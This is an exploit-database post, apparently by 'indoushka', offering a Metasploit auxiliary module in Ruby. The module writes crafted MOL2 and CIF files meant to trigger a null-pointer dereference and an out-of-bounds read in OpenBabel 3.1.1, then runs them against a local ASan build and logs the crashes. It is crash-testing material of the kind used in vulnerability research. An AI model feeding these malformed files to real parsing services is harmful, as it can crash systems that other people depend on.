=============================================================================================================================================
| # Title : OpenBabel 3.1.1 ASan PoC Tester – Metasploit Auxiliary Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://openbabel.org/index.html |
=============================================================================================================================================
[+] Summary : This Metasploit auxiliary module generates specially crafted PoC files targeting potential
parsing vulnerabilities in OpenBabel (e.g., NULL pointer dereference and out-of-bounds read conditions).
The module executes an AddressSanitizer (ASan)-instrumented build of OpenBabel against the generated files
to detect crashes, memory corruption issues, or abnormal termination events.
[+] POC :
##
# This module requires Metasploit Framework
# Tested with Metasploit 6.x
##
require 'msf/core'
require 'fileutils'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBabel ASan PoC Tester',
'Description' => %q{
This module generates Proof-of-Concept (PoC) files for known OpenBabel
vulnerabilities and tests them using an AddressSanitizer (ASan) build
of OpenBabel. It logs crashes for further analysis.
},
'Author' => [ 'Indoushka' ],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('BABEL_PATH', [true, 'Path to OpenBabel ASan binary', './obabel']),
OptString.new('REPRO_DIR', [true, 'Directory to store PoC files', './repro_files']),
OptString.new('LOG_FILE', [true, 'ASan crash log file', 'asan_report.txt'])
]
)
end
def generate_pocs
repro_dir = datastore['REPRO_DIR']
FileUtils.mkdir_p(repro_dir)
mol2_content = <<~MOL2
@<TRIPOS>MOLECULE
Null_Pointer_Exploit
1 0 0 0 0
SMALL
USER_CHARGES
@<TRIPOS>ATOM
1 C 0.0000 0.0000 0.0000 C.3 1 UNL1 0.0000
@<TRIPOS>UNITY_ATOM_ATTR
2 0.5
MOL2
cif_content = <<~CIF
data_oob_read
_cell_length_a 10.0
_cell_length_b 10.0
_cell_length_c 10.0
loop_
_space_group_symop_operation_xyz
'x, y, z'
'x+1, y+2, z+3, w+4, v+5'
CIF
File.write(File.join(repro_dir, 'repro.mol2'), mol2_content)
File.write(File.join(repro_dir, 'repro.cif'), cif_content)
print_status("[+] PoC files generated in #{repro_dir}")
end
def run_test(file_path)
babel = datastore['BABEL_PATH']
null_dev = Gem.win_platform? ? 'NUL' : '/dev/null'
input_format = File.extname(file_path).delete('.')
print_status("Testing file: #{file_path} (#{input_format})")
asan_env = { 'ASAN_OPTIONS' => 'symbolize=1:abort_on_error=1:detect_leaks=0' }
cmd = "#{babel} -i#{input_format} #{file_path} -osmi -O #{null_dev}"
result = ''
begin
result = `#{asan_env.map{|k,v| "#{k}=#{v}"}.join(' ')} #{cmd} 2>&1`
if $?.exitstatus != 0 || result.include?('ERROR: AddressSanitizer')
print_good("[!] Potential crash detected!")
File.open(datastore['LOG_FILE'], 'a') do |f|
f.puts("="*60)
f.puts("File: #{file_path}")
f.puts("Timestamp: #{Time.now}")
f.puts(result)
f.puts("\n")
end
else
print_status("No crash detected.")
end
rescue ::Exception => e
print_error("Error executing test: #{e}")
end
end
def run
babel = datastore['BABEL_PATH']
unless File.exist?(babel)
print_error("OpenBabel binary not found at #{babel}")
return
end
generate_pocs
Dir.glob(File.join(datastore['REPRO_DIR'], '*')).each do |file|
next unless File.file?(file)
run_test(file)
end
print_status("[+] Testing completed. Report saved to #{datastore['LOG_FILE']}")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation